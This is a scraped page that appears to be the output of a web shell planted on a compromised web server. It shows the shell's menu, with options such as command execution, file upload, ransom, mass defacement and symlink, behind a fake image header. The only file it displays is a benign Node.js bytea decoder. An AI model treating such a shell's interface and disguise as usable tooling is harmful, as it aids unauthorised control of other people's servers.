\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/mertbinici/BusinessBooster/node_modules/postgres-bytea/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/mertbinici/BusinessBooster/node_modules/postgres-bytea/decoder.js


'use strict'

const BufferList = require('obuf')
const { Transform } = require('stream')

const State = {
  READ_PREFIX: 1,
  READ_DATA: 2
}

class ByteaDecoder extends Transform {
  constructor () {
    super()
    this._incomingChunks = new BufferList()
    this._state = State.READ_PREFIX
  }

  _transform (chunk, encoding, callback) {
    this._incomingChunks.push(chunk)

    while (true) {
      if (this._state === State.READ_PREFIX) {
        if (this._incomingChunks.has(3)) {
          const prefix = this._incomingChunks.take(3)
          const prefixString = prefix.toString()
          if (prefixString !== '\\\\x') {
            return this.emit('error', new Error(`Expected double-escaped postgres bytea hex format prefix, received: '${prefixString}'`))
          }
          this._state = State.READ_DATA
          continue
        } else {
          break
        }
      }

      if (this._state === State.READ_DATA) {
        if (this._incomingChunks.size >= 2) {
          // two hex characters are needed to parse a byte. read even number of chars, and let remainder roll over
          let evenChunk
          const isEvenLength = this._incomingChunks.size % 2 === 0
          if (isEvenLength) {
            evenChunk = this._incomingChunks.take(this._incomingChunks.size)
          } else {
            evenChunk = this._incomingChunks.take(this._incomingChunks.size - 1)
          }
          this.push(Buffer.from(evenChunk.toString(), 'hex'))
        }
        break
      }
    }

    callback()
  }
}

module.exports = ByteaDecoder

© KUJUNTI.ID